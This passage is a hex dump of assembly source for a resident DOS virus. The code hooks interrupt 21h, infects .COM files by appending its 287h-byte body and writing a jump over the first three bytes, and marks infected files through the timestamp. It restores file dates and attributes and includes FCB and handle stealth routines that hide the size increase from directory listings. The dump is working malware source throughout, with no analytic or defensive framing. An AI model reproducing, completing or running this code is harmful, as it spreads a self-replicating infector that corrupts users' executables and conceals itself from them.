|00001040| 20 20 63 73 0a 09 09 70 | 6f 70 20 20 20 20 20 65 | cs...p|op e|
|00001050| 73 0a 09 09 6d 6f 76 20 | 20 20 20 20 64 69 2c 6f |s...mov | di,o|
|00001060| 66 66 73 65 74 20 64 73 | 3a 5b 46 69 6c 65 6e 61 |ffset ds|:[Filena|
|00001070| 6d 65 2d 73 74 61 72 74 | 5d 20 20 20 20 20 3b 43 |me-start|] ;C|
|00001080| 6f 70 79 20 66 69 6c 65 | 6e 61 6d 65 0a 09 09 6d |opy file|name...m|
|00001090| 6f 76 20 20 20 20 20 63 | 78 2c 38 0a 09 09 72 65 |ov c|x,8...re|
|000010a0| 70 20 20 20 20 20 6d 6f | 76 73 62 0a 09 09 6d 6f |p mo|vsb...mo|
|000010b0| 76 20 20 20 20 20 63 78 | 2c 33 0a 09 09 69 6e 63 |v cx|,3...inc|
|000010c0| 20 20 20 20 20 64 69 0a | 09 09 72 65 70 20 20 20 | di.|..rep |
|000010d0| 20 20 6d 6f 76 73 62 0a | 0a 09 09 6d 6f 76 20 20 | movsb.|...mov |
|000010e0| 20 20 20 64 78 2c 46 69 | 6c 65 6e 61 6d 65 2d 73 | dx,Fi|lename-s|
|000010f0| 74 61 72 74 0a 09 09 70 | 75 73 68 20 20 20 20 63 |tart...p|ush c|
|00001100| 73 0a 09 09 70 6f 70 20 | 20 20 20 20 64 73 0a 0a |s...pop | ds..|
|00001110| 53 65 74 75 70 4e 61 6d | 65 43 68 65 63 6b 3a 0a |SetupNam|eCheck:.|
|00001120| 09 09 64 62 20 20 20 20 | 20 20 38 39 68 2c 20 30 |..db | 89h, 0|
|00001130| 64 36 68 20 20 20 20 20 | 20 20 20 3b 6d 6f 76 20 |d6h | ;mov |
|00001140| 20 20 20 20 73 69 2c 64 | 78 0a 09 09 6d 6f 76 20 | si,d|x...mov |
|00001150| 20 20 20 20 63 78 2c 31 | 30 30 68 0a 09 09 63 6c | cx,1|00h...cl|
|00001160| 64 20 0a 20 20 0a 46 69 | 6e 64 5f 45 78 74 65 6e |d . .Fi|nd_Exten|
|00001170| 73 69 6f 6e 3a 0a 09 09 | 6c 6f 64 73 62 0a 09 09 |sion:...|lodsb...|
|00001180| 63 6d 70 20 20 20 20 20 | 61 6c 2c 27 2e 27 20 20 |cmp |al,'.' |
|00001190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000011a0| 3b 46 69 6e 64 20 27 2e | 27 0a 09 09 6a 65 20 20 |;Find '.|'...je |
|000011b0| 20 20 20 20 43 68 65 63 | 6b 46 69 6c 65 6e 61 6d | Chec|kFilenam|
|000011c0| 65 0a 09 09 6c 6f 6f 70 | 20 20 20 20 46 69 6e 64 |e...loop| Find|
|000011d0| 5f 45 78 74 65 6e 73 69 | 6f 6e 0a 09 09 64 62 20 |_Extensi|on...db |
|000011e0| 20 20 20 20 20 30 65 39 | 68 2c 20 31 33 68 2c 20 | 0e9|h, 13h, |
|000011f0| 30 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 6a |0 | ;j|
|00001200| 6d 70 20 20 20 20 20 46 | 69 6c 65 6e 61 6d 65 42 |mp F|ilenameB|
|00001210| 61 64 0a 43 68 65 63 6b | 46 69 6c 65 6e 61 6d 65 |ad.Check|Filename|
|00001220| 3a 0a 09 09 6c 6f 64 73 | 77 20 0a 09 09 6f 72 20 |:...lods|w ...or |
|00001230| 20 20 20 20 20 61 78 2c | 32 30 32 30 68 20 20 20 | ax,|2020h |
|00001240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 53 65 | | ;Se|
|00001250| 74 20 74 6f 20 6c 6f 77 | 65 72 63 61 73 65 0a 09 |t to low|ercase..|
|00001260| 09 63 6d 70 20 20 20 20 | 20 61 78 2c 36 46 36 33 |.cmp | ax,6F63|
|00001270| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00001280| 20 3b 49 73 20 69 74 20 | 61 20 63 6f 6d 20 66 69 | ;Is it |a com fi|
|00001290| 6c 65 3f 0a 09 09 6a 6e | 65 20 20 20 20 20 46 69 |le?...jn|e Fi|
|000012a0| 6c 65 6e 61 6d 65 42 61 | 64 0a 09 09 6c 6f 64 73 |lenameBa|d...lods|
|000012b0| 62 20 20 20 20 20 20 20 | 20 0a 09 09 6f 72 20 20 |b | ...or |
|000012c0| 20 20 20 20 61 6c 2c 32 | 30 68 0a 09 09 63 6d 70 | al,2|0h...cmp|
|000012d0| 20 20 20 20 20 61 6c 2c | 36 44 68 0a 09 09 6a 6e | al,|6Dh...jn|
|000012e0| 65 20 20 20 20 20 46 69 | 6c 65 6e 61 6d 65 42 61 |e Fi|lenameBa|
|000012f0| 64 0a 09 09 64 62 20 20 | 20 20 20 20 30 65 39 68 |d...db | 0e9h|
|00001300| 2c 20 33 2c 20 30 20 20 | 20 20 20 20 20 20 20 20 |, 3, 0 | |
|00001310| 20 20 20 20 3b 6a 6d 70 | 20 20 20 20 20 49 6e 66 | ;jmp| Inf|
|00001320| 65 63 74 46 69 6c 65 20 | 0a 0a 46 69 6c 65 6e 61 |ectFile |..Filena|
|00001330| 6d 65 42 61 64 3a 0a 09 | 09 6a 6d 70 20 20 20 20 |meBad:..|.jmp |
|00001340| 20 45 78 69 74 49 6e 66 | 65 63 74 20 0a 0a 49 6e | ExitInf|ect ..In|
|00001350| 66 65 63 74 46 69 6c 65 | 3a 0a 09 09 70 75 73 68 |fectFile|:...push|
|00001360| 20 20 20 20 64 78 0a 09 | 09 70 75 73 68 20 20 20 | dx..|.push |
|00001370| 20 64 73 0a 09 09 6d 6f | 76 20 20 20 20 20 61 78 | ds...mo|v ax|
|00001380| 2c 34 33 30 30 68 0a 09 | 09 70 75 73 68 66 20 20 |,4300h..|.pushf |
|00001390| 20 20 20 20 20 20 20 0a | 09 09 63 61 6c 6c 20 20 | .|..call |
|000013a0| 20 20 64 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | dword |ptr cs:[|
|000013b0| 4f 6c 64 49 6e 74 32 31 | 2d 73 74 61 72 74 5d 20 |OldInt21|-start] |
|000013c0| 20 20 20 20 20 3b 47 65 | 74 20 41 74 74 72 69 62 | ;Ge|t Attrib|
|000013d0| 75 74 65 73 0a 09 09 6d | 6f 76 20 20 20 20 20 77 |utes...m|ov w|
|000013e0| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 46 69 6c 65 |ord ptr |cs:[File|
|000013f0| 41 74 74 72 69 62 73 2d | 73 74 61 72 74 5d 2c 63 |Attribs-|start],c|
|00001400| 78 20 3b 53 61 76 65 20 | 74 68 65 6d 0a 09 09 0a |x ;Save |them....|
|00001410| 09 09 6d 6f 76 20 20 20 | 20 20 61 78 2c 34 33 30 |..mov | ax,430|
|00001420| 31 68 0a 09 09 78 6f 72 | 20 20 20 20 20 63 78 2c |1h...xor| cx,|
|00001430| 63 78 0a 09 09 70 75 73 | 68 66 20 20 20 20 20 20 |cx...pus|hf |
|00001440| 20 20 20 20 20 0a 09 09 | 63 61 6c 6c 20 20 20 20 | ...|call |
|00001450| 64 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 4f 6c |dword pt|r cs:[Ol|
|00001460| 64 49 6e 74 32 31 2d 73 | 74 61 72 74 5d 20 20 20 |dInt21-s|tart] |
|00001470| 20 20 3b 52 65 73 65 74 | 20 41 74 74 72 69 62 73 | ;Reset| Attribs|
|00001480| 20 74 6f 20 30 0a 09 09 | 0a 09 09 6d 6f 76 20 20 | to 0...|...mov |
|00001490| 20 20 20 61 78 2c 33 44 | 30 32 68 0a 09 09 70 75 | ax,3D|02h...pu|
|000014a0| 73 68 66 0a 09 09 63 61 | 6c 6c 20 20 20 20 64 77 |shf...ca|ll dw|
|000014b0| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 4f 6c 64 49 |ord ptr |cs:[OldI|
|000014c0| 6e 74 32 31 2d 73 74 61 | 72 74 5d 20 20 20 20 20 |nt21-sta|rt] |
|000014d0| 3b 4f 70 65 6e 20 66 69 | 6c 65 0a 09 09 6a 6e 63 |;Open fi|le...jnc|
|000014e0| 20 20 20 20 20 4f 70 65 | 6e 47 6f 6f 64 0a 09 09 | Ope|nGood...|
|000014f0| 6a 6d 70 20 20 20 20 20 | 46 69 6c 65 43 6c 6f 73 |jmp |FileClos|
|00001500| 65 64 0a 0a 4f 70 65 6e | 47 6f 6f 64 3a 0a 09 09 |ed..Open|Good:...|
|00001510| 78 63 68 67 20 20 20 20 | 61 78 2c 62 78 0a 09 09 |xchg |ax,bx...|
|00001520| 6d 6f 76 20 20 20 20 20 | 61 78 2c 35 37 30 30 68 |mov |ax,5700h|
|00001530| 0a 09 09 70 75 73 68 66 | 20 20 20 20 20 20 20 20 |...pushf| |
|00001540| 20 20 20 20 20 20 0a 09 | 09 63 61 6c 6c 20 20 20 | ..|.call |
|00001550| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 4f | dword p|tr cs:[O|
|00001560| 6c 64 49 6e 74 32 31 2d | 73 74 61 72 74 5d 20 20 |ldInt21-|start] |
|00001570| 20 20 20 20 3b 47 65 74 | 20 66 69 6c 65 20 74 69 | ;Get| file ti|
|00001580| 6d 65 2f 64 61 74 65 0a | 09 09 6d 6f 76 20 20 20 |me/date.|..mov |
|00001590| 20 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 46 | word p|tr cs:[F|
|000015a0| 69 6c 65 54 69 6d 65 2d | 73 74 61 72 74 5d 2c 63 |ileTime-|start],c|
|000015b0| 78 20 20 3b 73 61 76 65 | 20 74 69 6d 65 0a 09 09 |x ;save| time...|
|000015c0| 6d 6f 76 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |mov |word ptr|
|000015d0| 20 63 73 3a 5b 46 69 6c | 65 44 61 74 65 2d 73 74 | cs:[Fil|eDate-st|
|000015e0| 61 72 74 5d 2c 64 78 20 | 20 3b 73 61 76 65 20 64 |art],dx | ;save d|
|000015f0| 61 74 65 0a 0a 09 09 61 | 6e 64 20 20 20 20 20 63 |ate....a|nd c|
|00001600| 78 2c 31 46 68 0a 09 09 | 63 6d 70 20 20 20 20 20 |x,1Fh...|cmp |
|00001610| 63 78 2c 31 46 68 0a 09 | 09 6a 6e 65 20 20 20 20 |cx,1Fh..|.jne |
|00001620| 20 4e 6f 74 49 6e 66 65 | 63 74 65 64 20 20 20 20 | NotInfe|cted |
|00001630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001640| 3b 43 68 65 63 6b 20 69 | 6e 66 65 63 74 69 6f 6e |;Check i|nfection|
|00001650| 0a 09 09 64 62 20 20 20 | 20 20 20 30 65 39 68 2c |...db | 0e9h,|
|00001660| 20 37 36 68 2c 20 30 20 | 20 20 20 20 20 20 20 20 | 76h, 0 | |
|00001670| 20 20 20 20 20 20 20 20 | 20 20 3b 6a 6d 70 20 20 | | ;jmp |
|00001680| 20 20 20 43 6c 6f 73 65 | 5f 46 69 6c 65 0a 4e 6f | Close|_File.No|
|00001690| 74 49 6e 66 65 63 74 65 | 64 3a 0a 09 09 6d 6f 76 |tInfecte|d:...mov|
|000016a0| 20 20 20 20 20 61 68 2c | 33 46 68 20 20 20 20 20 | ah,|3Fh |
|000016b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 09 09 | | ...|
|000016c0| 70 75 73 68 20 20 20 20 | 63 73 0a 09 09 70 6f 70 |push |cs...pop|
|000016d0| 20 20 20 20 20 64 73 0a | 09 09 6d 6f 76 20 20 20 | ds.|..mov |
|000016e0| 20 20 64 78 2c 53 74 6f | 72 61 67 65 5f 42 79 74 | dx,Sto|rage_Byt|
|000016f0| 65 73 2d 73 74 61 72 74 | 0a 09 09 6d 6f 76 20 20 |es-start|...mov |
|00001700| 20 20 20 63 78 2c 33 0a | 09 09 70 75 73 68 66 20 | cx,3.|..pushf |
|00001710| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001720| 20 20 20 20 20 20 20 20 | 20 0a 09 09 63 61 6c 6c | | ...call|
|00001730| 20 20 20 20 64 77 6f 72 | 64 20 70 74 72 20 63 73 | dwor|d ptr cs|
|00001740| 3a 5b 4f 6c 64 49 6e 74 | 32 31 2d 73 74 61 72 74 |:[OldInt|21-start|
|00001750| 5d 20 3b 52 65 61 64 20 | 69 6e 20 66 69 72 73 74 |] ;Read |in first|
|00001760| 20 33 20 62 79 74 65 73 | 0a 0a 09 09 63 6d 70 20 | 3 bytes|....cmp |
|00001770| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 63 73 3a | word| ptr cs:|
|00001780| 5b 53 74 6f 72 61 67 65 | 5f 42 79 74 65 73 2d 73 |[Storage|_Bytes-s|
|00001790| 74 61 72 74 5d 2c 35 41 | 34 44 68 20 20 20 20 0a |tart],5A|4Dh .|
|000017a0| 09 09 6a 65 20 20 20 20 | 20 20 44 6f 6e 65 57 69 |..je | DoneWi|
|000017b0| 74 68 46 69 6c 65 20 20 | 20 20 20 20 20 20 3b 49 |thFile | ;I|
|000017c0| 73 20 69 74 20 61 6e 20 | 2e 45 58 45 20 66 69 6c |s it an |.EXE fil|
|000017d0| 65 3f 0a 0a 09 09 63 6d | 70 20 20 20 20 20 77 6f |e?....cm|p wo|
|000017e0| 72 64 20 70 74 72 20 63 | 73 3a 5b 53 74 6f 72 61 |rd ptr c|s:[Stora|
|000017f0| 67 65 5f 42 79 74 65 73 | 2d 73 74 61 72 74 5d 2c |ge_Bytes|-start],|
|00001800| 34 44 35 41 68 0a 09 09 | 6a 65 20 20 20 20 20 20 |4D5Ah...|je |
|00001810| 44 6f 6e 65 57 69 74 68 | 46 69 6c 65 20 20 20 20 |DoneWith|File |
|00001820| 20 20 20 20 3b 41 6c 74 | 65 72 6e 61 74 65 20 45 | ;Alt|ernate E|
|00001830| 58 45 20 73 69 67 3f 0a | 0a 09 09 6d 6f 76 20 20 |XE sig?.|...mov |
|00001840| 20 20 20 61 78 2c 34 32 | 30 32 68 0a 09 09 78 6f | ax,42|02h...xo|
|00001850| 72 20 20 20 20 20 63 78 | 2c 63 78 0a 09 09 78 6f |r cx|,cx...xo|
|00001860| 72 20 20 20 20 20 64 78 | 2c 64 78 0a 09 09 70 75 |r dx|,dx...pu|
|00001870| 73 68 66 20 20 20 20 20 | 20 20 20 0a 09 09 63 61 |shf | ...ca|
|00001880| 6c 6c 20 20 20 20 64 77 | 6f 72 64 20 70 74 72 20 |ll dw|ord ptr |
|00001890| 63 73 3a 5b 4f 6c 64 49 | 6e 74 32 31 2d 73 74 61 |cs:[OldI|nt21-sta|
|000018a0| 72 74 5d 20 3b 47 6f 20 | 65 6e 64 20 6f 66 20 66 |rt] ;Go |end of f|
|000018b0| 69 6c 65 2e 0a 09 09 0a | 09 09 73 75 62 20 20 20 |ile.....|..sub |
|000018c0| 20 20 61 78 2c 33 20 20 | 20 20 20 20 20 20 20 20 | ax,3 | |
|000018d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 53 | | ;S|
|000018e0| 61 76 65 20 6a 75 6d 70 | 20 73 69 7a 65 0a 09 09 |ave jump| size...|
|000018f0| 6d 6f 76 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |mov |word ptr|
|00001900| 20 63 73 3a 5b 4a 75 6d | 70 5f 42 79 74 65 73 2d | cs:[Jum|p_Bytes-|
|00001910| 73 74 61 72 74 2b 31 5d | 2c 61 78 0a 09 09 0a 09 |start+1]|,ax.....|
|00001920| 09 6d 6f 76 20 20 20 20 | 20 61 68 2c 34 30 68 20 |.mov | ah,40h |
|00001930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001940| 20 0a 09 09 70 75 73 68 | 20 20 20 20 63 73 0a 09 | ...push| cs..|
|00001950| 09 70 6f 70 20 20 20 20 | 20 64 73 0a 09 09 6d 6f |.pop | ds...mo|
|00001960| 76 20 20 20 20 20 64 78 | 2c 30 0a 09 09 6d 6f 76 |v dx|,0...mov|
|00001970| 20 20 20 20 20 63 78 2c | 32 38 37 68 0a 09 09 70 | cx,|287h...p|
|00001980| 75 73 68 66 20 20 20 20 | 20 20 20 20 20 20 0a 09 |ushf | ..|
|00001990| 09 63 61 6c 6c 20 20 20 | 20 64 77 6f 72 64 20 70 |.call | dword p|
|000019a0| 74 72 20 63 73 3a 5b 4f | 6c 64 49 6e 74 32 31 2d |tr cs:[O|ldInt21-|
|000019b0| 73 74 61 72 74 5d 20 3b | 41 70 70 65 6e 64 20 76 |start] ;|Append v|
|000019c0| 69 72 75 73 20 74 6f 20 | 66 69 6c 65 0a 09 09 0a |irus to |file....|
|000019d0| 09 09 6d 6f 76 20 20 20 | 20 20 61 78 2c 34 32 30 |..mov | ax,420|
|000019e0| 30 68 0a 09 09 78 6f 72 | 20 20 20 20 20 63 78 2c |0h...xor| cx,|
|000019f0| 63 78 0a 09 09 78 6f 72 | 20 20 20 20 20 64 78 2c |cx...xor| dx,|
|00001a00| 64 78 0a 09 09 69 6e 74 | 20 20 20 20 20 32 31 68 |dx...int| 21h|
|00001a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a20| 20 20 20 20 20 20 20 20 | 20 20 3b 67 6f 20 62 61 | | ;go ba|
|00001a30| 63 6b 20 74 6f 20 62 65 | 67 69 6e 6e 69 6e 67 0a |ck to be|ginning.|
|00001a40| 09 09 09 20 20 20 0a 09 | 09 6d 6f 76 20 20 20 20 |... ..|.mov |
|00001a50| 20 61 68 2c 34 30 68 20 | 20 20 20 20 20 20 20 20 | ah,40h | |
|00001a60| 20 20 20 20 20 20 20 20 | 20 0a 09 09 6d 6f 76 20 | | ...mov |
|00001a70| 20 20 20 20 64 78 2c 4a | 75 6d 70 5f 42 79 74 65 | dx,J|ump_Byte|
|00001a80| 73 2d 53 74 61 72 74 0a | 09 09 6d 6f 76 20 20 20 |s-Start.|..mov |
|00001a90| 20 20 63 78 2c 33 0a 09 | 09 70 75 73 68 66 20 20 | cx,3..|.pushf |
|00001aa0| 20 20 20 20 20 20 0a 09 | 09 63 61 6c 6c 20 20 20 | ..|.call |
|00001ab0| 20 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 4f | dword p|tr cs:[O|
|00001ac0| 6c 64 49 6e 74 32 31 2d | 73 74 61 72 74 5d 20 20 |ldInt21-|start] |
|00001ad0| 20 20 20 20 3b 57 72 69 | 74 65 20 69 6e 20 6a 75 | ;Wri|te in ju|
|00001ae0| 6d 70 0a 09 09 6f 72 20 | 20 20 20 20 20 77 6f 72 |mp...or | wor|
|00001af0| 64 20 70 74 72 20 63 73 | 3a 5b 46 69 6c 65 54 69 |d ptr cs|:[FileTi|
|00001b00| 6d 65 2d 73 74 61 72 74 | 5d 2c 31 46 68 20 3b 4d |me-start|],1Fh ;M|
|00001b10| 61 72 6b 20 61 73 20 69 | 6e 66 65 63 74 65 64 0a |ark as i|nfected.|
|00001b20| 0a 44 6f 6e 65 57 69 74 | 68 46 69 6c 65 3a 0a 09 |.DoneWit|hFile:..|
|00001b30| 09 6d 6f 76 20 20 20 20 | 20 61 78 2c 35 37 30 31 |.mov | ax,5701|
|00001b40| 68 0a 09 09 6d 6f 76 20 | 20 20 20 20 63 78 2c 77 |h...mov | cx,w|
|00001b50| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 46 69 6c 65 |ord ptr |cs:[File|
|00001b60| 54 69 6d 65 2d 73 74 61 | 72 74 5d 20 20 20 0a 09 |Time-sta|rt] ..|
|00001b70| 09 6d 6f 76 20 20 20 20 | 20 64 78 2c 77 6f 72 64 |.mov | dx,word|
|00001b80| 20 70 74 72 20 63 73 3a | 5b 46 69 6c 65 44 61 74 | ptr cs:|[FileDat|
|00001b90| 65 2d 73 74 61 72 74 5d | 20 20 20 0a 09 09 70 75 |e-start]| ...pu|
|00001ba0| 73 68 66 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |shf | |
|00001bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001bc0| 20 20 0a 09 09 63 61 6c | 6c 20 20 20 20 64 77 6f | ...cal|l dwo|
|00001bd0| 72 64 20 70 74 72 20 63 | 73 3a 5b 4f 6c 64 49 6e |rd ptr c|s:[OldIn|
|00001be0| 74 32 31 2d 73 74 61 72 | 74 5d 20 3b 52 65 73 74 |t21-star|t] ;Rest|
|00001bf0| 6f 72 65 20 46 69 6c 65 | 20 44 61 74 65 2f 54 69 |ore File| Date/Ti|
|00001c00| 6d 65 0a 0a 43 6c 6f 73 | 65 5f 46 69 6c 65 3a 0a |me..Clos|e_File:.|
|00001c10| 09 09 6d 6f 76 20 20 20 | 20 20 61 68 2c 33 45 68 |..mov | ah,3Eh|
|00001c20| 0a 09 09 70 75 73 68 66 | 20 20 20 20 20 20 20 20 |...pushf| |
|00001c30| 20 20 0a 09 09 63 61 6c | 6c 20 20 20 20 64 77 6f | ...cal|l dwo|
|00001c40| 72 64 20 70 74 72 20 63 | 73 3a 5b 4f 6c 64 49 6e |rd ptr c|s:[OldIn|
|00001c50| 74 32 31 2d 73 74 61 72 | 74 5d 20 3b 43 6c 6f 73 |t21-star|t] ;Clos|
|00001c60| 65 20 66 69 6c 65 0a 09 | 09 0a 09 09 70 6f 70 20 |e file..|....pop |
|00001c70| 20 20 20 20 64 73 0a 09 | 09 70 6f 70 20 20 20 20 | ds..|.pop |
|00001c80| 20 64 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | dx | |
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 50 6f | | ;Po|
|00001ca0| 70 20 66 69 6c 65 6e 61 | 6d 65 20 61 64 64 72 65 |p filena|me addre|
|00001cb0| 73 73 0a 09 09 70 75 73 | 68 20 20 20 20 64 78 0a |ss...pus|h dx.|
|00001cc0| 09 09 70 75 73 68 20 20 | 20 20 64 73 0a 09 09 6d |..push | ds...m|
|00001cd0| 6f 76 20 20 20 20 20 61 | 78 2c 34 33 30 31 68 0a |ov a|x,4301h.|
|00001ce0| 09 09 6d 6f 76 20 20 20 | 20 20 63 78 2c 64 73 3a |..mov | cx,ds:|
|00001cf0| 5b 46 69 6c 65 41 74 74 | 72 69 62 73 2d 73 74 61 |[FileAtt|ribs-sta|
|00001d00| 72 74 5d 0a 09 09 70 75 | 73 68 66 20 20 20 20 20 |rt]...pu|shf |
|00001d10| 20 20 20 20 20 20 20 20 | 0a 09 09 63 61 6c 6c 20 | |...call |
|00001d20| 20 20 20 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a | dword| ptr cs:|
|00001d30| 5b 4f 6c 64 49 6e 74 32 | 31 2d 73 74 61 72 74 5d |[OldInt2|1-start]|
|00001d40| 20 20 20 20 3b 52 65 73 | 74 6f 72 65 20 61 74 74 | ;Res|tore att|
|00001d50| 72 69 62 75 74 65 73 0a | 0a 46 69 6c 65 43 6c 6f |ributes.|.FileClo|
|00001d60| 73 65 64 3a 0a 09 09 70 | 6f 70 20 20 20 20 20 64 |sed:...p|op d|
|00001d70| 73 0a 09 09 70 6f 70 20 | 20 20 20 20 64 78 0a 0a |s...pop | dx..|
|00001d80| 45 78 69 74 49 6e 66 65 | 63 74 3a 0a 09 09 70 6f |ExitInfe|ct:...po|
|00001d90| 70 20 20 20 20 20 65 73 | 20 64 73 20 62 70 20 64 |p es| ds bp d|
|00001da0| 69 20 73 69 20 64 78 20 | 63 78 20 62 78 20 61 78 |i si dx |cx bx ax|
|00001db0| 0a 09 09 6a 6d 70 20 20 | 20 20 20 64 77 6f 72 64 |...jmp | dword|
|00001dc0| 20 70 74 72 20 63 73 3a | 5b 4f 6c 64 49 6e 74 32 | ptr cs:|[OldInt2|
|00001dd0| 31 2d 73 74 61 72 74 5d | 20 20 3b 4a 75 6d 70 20 |1-start]| ;Jump |
|00001de0| 62 61 63 6b 20 69 6e 74 | 6f 20 49 6e 74 20 32 31 |back int|o Int 21|
|00001df0| 68 0a 20 20 0a 47 65 74 | 44 54 41 3a 0a 09 09 70 |h. .Get|DTA:...p|
|00001e00| 6f 70 20 20 20 20 20 73 | 69 0a 09 09 70 75 73 68 |op s|i...push|
|00001e10| 66 0a 09 09 70 75 73 68 | 20 20 20 20 61 78 20 62 |f...push| ax b|
|00001e20| 78 20 65 73 0a 09 09 6d | 6f 76 20 20 20 20 20 61 |x es...m|ov a|
|00001e30| 68 2c 32 46 68 0a 09 09 | 63 61 6c 6c 20 20 20 20 |h,2Fh...|call |
|00001e40| 43 61 6c 6c 49 6e 74 32 | 31 0a 09 09 6a 6d 70 20 |CallInt2|1...jmp |
|00001e50| 20 20 20 20 73 69 0a 0a | 46 43 42 53 74 65 61 6c | si..|FCBSteal|
|00001e60| 74 68 3a 0a 09 09 63 61 | 6c 6c 20 20 20 20 43 61 |th:...ca|ll Ca|
|00001e70| 6c 6c 49 6e 74 32 31 0a | 09 09 63 6d 70 20 20 20 |llInt21.|..cmp |
|00001e80| 20 20 61 6c 2c 30 20 20 | 20 20 20 20 20 20 20 20 | al,0 | |
|00001e90| 20 20 20 20 20 20 20 20 | 20 20 3b 44 69 64 20 63 | | ;Did c|
|00001ea0| 61 6c 6c 20 77 6f 72 6b | 3f 0a 09 09 6a 6e 65 20 |all work|?...jne |
|00001eb0| 20 20 20 20 4e 6f 53 74 | 65 61 6c 74 68 0a 09 09 | NoSt|ealth...|
|00001ec0| 63 61 6c 6c 20 20 20 20 | 47 65 74 44 54 41 0a 09 |call |GetDTA..|
|00001ed0| 09 63 6d 70 20 20 20 20 | 20 62 79 74 65 20 70 74 |.cmp | byte pt|
|00001ee0| 72 20 65 73 3a 5b 62 78 | 5d 2c 30 46 46 68 20 20 |r es:[bx|],0FFh |
|00001ef0| 20 3b 45 78 74 65 6e 64 | 65 64 20 46 43 42 3f 0a | ;Extend|ed FCB?.|
|00001f00| 09 09 6a 6e 65 20 20 20 | 20 20 41 66 74 65 72 46 |..jne | AfterF|
|00001f10| 43 42 41 64 6a 75 73 74 | 0a 09 09 61 64 64 20 20 |CBAdjust|...add |
|00001f20| 20 20 20 62 78 2c 38 0a | 0a 41 66 74 65 72 46 43 | bx,8.|.AfterFC|
|00001f30| 42 41 64 6a 75 73 74 3a | 0a 09 09 6d 6f 76 20 20 |BAdjust:|...mov |
|00001f40| 20 20 20 61 6c 2c 65 73 | 3a 5b 62 78 2b 31 36 68 | al,es|:[bx+16h|
|00001f50| 5d 20 20 20 20 20 20 20 | 20 20 20 3b 47 65 74 20 |] | ;Get |
|00001f60| 74 69 6d 65 20 73 74 61 | 6d 70 0a 09 09 61 6e 64 |time sta|mp...and|
|00001f70| 20 20 20 20 20 61 6c 2c | 31 46 68 0a 09 09 63 6d | al,|1Fh...cm|
|00001f80| 70 20 20 20 20 20 61 6c | 2c 31 46 68 20 20 20 20 |p al|,1Fh |
|00001f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 69 | | ;i|
|00001fa0| 6e 66 65 63 74 65 64 3f | 0a 09 09 6a 6e 65 20 20 |nfected?|...jne |
|00001fb0| 20 20 20 44 6f 6e 65 46 | 43 42 53 74 65 61 6c 74 | DoneF|CBStealt|
|00001fc0| 68 0a 0a 09 09 73 75 62 | 20 20 20 20 20 77 6f 72 |h....sub| wor|
|00001fd0| 64 20 70 74 72 20 65 73 | 3a 5b 62 78 2b 31 43 68 |d ptr es|:[bx+1Ch|
|00001fe0| 5d 2c 32 38 37 68 20 3b | 53 75 62 74 72 61 63 74 |],287h ;|Subtract|
|00001ff0| 20 76 69 72 75 73 20 73 | 69 7a 65 0a 09 09 73 62 | virus s|ize...sb|
|00002000| 62 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 65 |b wo|rd ptr e|
|00002010| 73 3a 5b 62 78 2b 31 45 | 68 5d 2c 30 20 20 20 20 |s:[bx+1E|h],0 |
|00002020| 3b 61 64 6a 75 73 74 20 | 66 6f 72 20 63 61 72 72 |;adjust |for carr|
|00002030| 79 0a 09 09 6a 6d 70 20 | 20 20 20 20 73 68 6f 72 |y...jmp | shor|
|00002040| 74 20 52 65 73 65 74 54 | 69 6d 65 0a 0a 48 61 6e |t ResetT|ime..Han|
|00002050| 64 6c 65 53 74 65 61 6c | 74 68 3a 0a 09 09 63 61 |dleSteal|th:...ca|
|00002060| 6c 6c 20 20 20 20 43 61 | 6c 6c 49 6e 74 32 31 0a |ll Ca|llInt21.|
|00002070| 09 09 6a 63 20 20 20 20 | 20 20 4e 6f 53 74 65 61 |..jc | NoStea|
|00002080| 6c 74 68 20 0a 09 09 63 | 61 6c 6c 20 20 20 20 47 |lth ...c|all G|
|00002090| 65 74 44 54 41 20 20 20 | 20 20 20 0a 09 09 6d 6f |etDTA | ...mo|
|000020a0| 76 20 20 20 20 20 61 6c | 2c 65 73 3a 5b 62 78 2b |v al|,es:[bx+|
|000020b0| 31 36 68 5d 20 20 20 20 | 20 20 20 20 20 20 20 20 |16h] | |
|000020c0| 20 20 3b 47 65 74 20 66 | 69 6c 65 20 74 69 6d 65 | ;Get f|ile time|
|000020d0| 0a 09 09 61 6e 64 20 20 | 20 20 20 61 6c 2c 31 46 |...and | al,1F|
|000020e0| 68 0a 09 09 63 6d 70 20 | 20 20 20 20 61 6c 2c 31 |h...cmp | al,1|
|000020f0| 46 68 0a 09 09 6a 6e 65 | 20 20 20 20 20 44 6f 6e |Fh...jne| Don|
|00002100| 65 46 43 42 53 74 65 61 | 6c 74 68 0a 09 09 73 75 |eFCBStea|lth...su|
|00002110| 62 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 65 |b wo|rd ptr e|
